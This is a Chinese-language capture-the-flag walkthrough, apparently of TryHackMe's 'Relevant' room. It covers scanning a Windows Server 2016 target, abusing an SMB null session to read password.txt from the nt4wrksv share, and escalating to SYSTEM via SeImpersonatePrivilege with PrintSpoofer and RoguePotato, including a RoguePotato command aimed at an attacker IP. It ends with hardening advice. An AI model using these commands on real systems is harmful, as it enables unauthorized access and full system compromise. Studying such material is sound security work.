【THM】offensive-Relevant
字数 1517 2025-08-30 06:50:27
Windows权限提升技术:SMB错误配置与SeImpersonatePrivilege滥用
1. 环境概述
本次渗透测试的目标环境是一个Windows Server 2016系统,具有以下开放服务:
- 端口80和49663:运行Microsoft IIS Web服务器
- 端口445:SMB服务
- 端口3389:RDP服务
测试目标是在7天内完成渗透测试,获取两个flag文件(User.txt和Root.txt),重点是通过SMB错误配置和SeImpersonatePrivilege滥用实现权限提升。
2. 信息收集阶段
2.1 端口扫描
使用Threader3000进行全端口扫描:
- 安装:
pip3 install threader3000 - 执行:
threader3000 -t <target_ip> - 特点:扫描速度快(15秒到1分30秒)
使用Nmap进行服务扫描:
nmap -sV -sC -p- <target_ip>
扫描结果:
- 发现Windows Server 2016系统
- 开放端口:80(http)、445(smb)、3389(rdp)、49663(http)
2.2 SMB漏洞扫描
使用Nmap进行SMB漏洞扫描:
nmap --script smb-vuln* -p 445 <target_ip>
发现漏洞:
- CVE-2017-0143 (MS17-010 EternalBlue漏洞)
- 但实际测试中MS17-010利用未成功
3. SMB枚举与利用
3.1 SMB空会话漏洞
发现SMB服务存在空会话访问漏洞,允许未经身份验证的用户列出共享:
smbclient -L //<target_ip>/ -N
3.2 异常共享发现
发现一个名为nt4wrksv的异常共享,包含password.txt文件:
smbclient //<target_ip>/nt4wrksv -N
查看文件内容:
get password.txt
4. 权限提升技术
4.1 SeImpersonatePrivilege滥用
SeImpersonatePrivilege是Windows中的一项特权,允许进程模拟客户端身份。当服务账户具有此特权时,可能被滥用进行权限提升。
检查当前令牌特权:
whoami /priv
如果显示SeImpersonatePrivilege已启用,可利用以下工具进行提权:
- Juicy Potato
- Rogue Potato
- PrintSpoofer
4.2 令牌模拟技术
利用PrintSpoofer进行提权示例:
PrintSpoofer.exe -i -c cmd
或使用Rogue Potato:
RoguePotato.exe -r <attacker_ip> -e "C:\path\to\payload.exe" -l <local_port>
5. 漏洞利用流程总结
- 通过SMB空会话访问枚举共享
- 在nt4wrksv共享中发现敏感文件(password.txt)
- 分析文件内容获取可能的凭据或信息
- 检查当前用户权限,确认SeImpersonatePrivilege是否可用
- 选择合适的提权工具(Juicy Potato/Rogue Potato/PrintSpoofer)
- 执行提权操作获取SYSTEM权限
- 查找并获取User.txt和Root.txt两个flag文件
6. 防御建议
-
SMB配置加固:
- 禁用SMBv1协议
- 限制匿名访问(设置RestrictAnonymous = 1)
- 删除不必要的共享
-
特权管理:
- 审查服务账户的SeImpersonatePrivilege特权
- 遵循最小权限原则
-
补丁管理:
- 及时安装MS17-010等安全补丁
- 定期更新系统
-
监控与审计:
- 监控异常SMB访问
- 审计特权使用情况
7. 工具列表
- 扫描工具:Threader3000, Nmap
- SMB枚举:smbclient, enum4linux
- 提权工具:Juicy Potato, Rogue Potato, PrintSpoofer
- 漏洞利用:Metasploit(MS17-010模块)
通过以上方法和技术,可以有效地识别和利用Windows系统中的SMB配置错误和特权滥用漏洞,实现权限提升并完成渗透测试目标。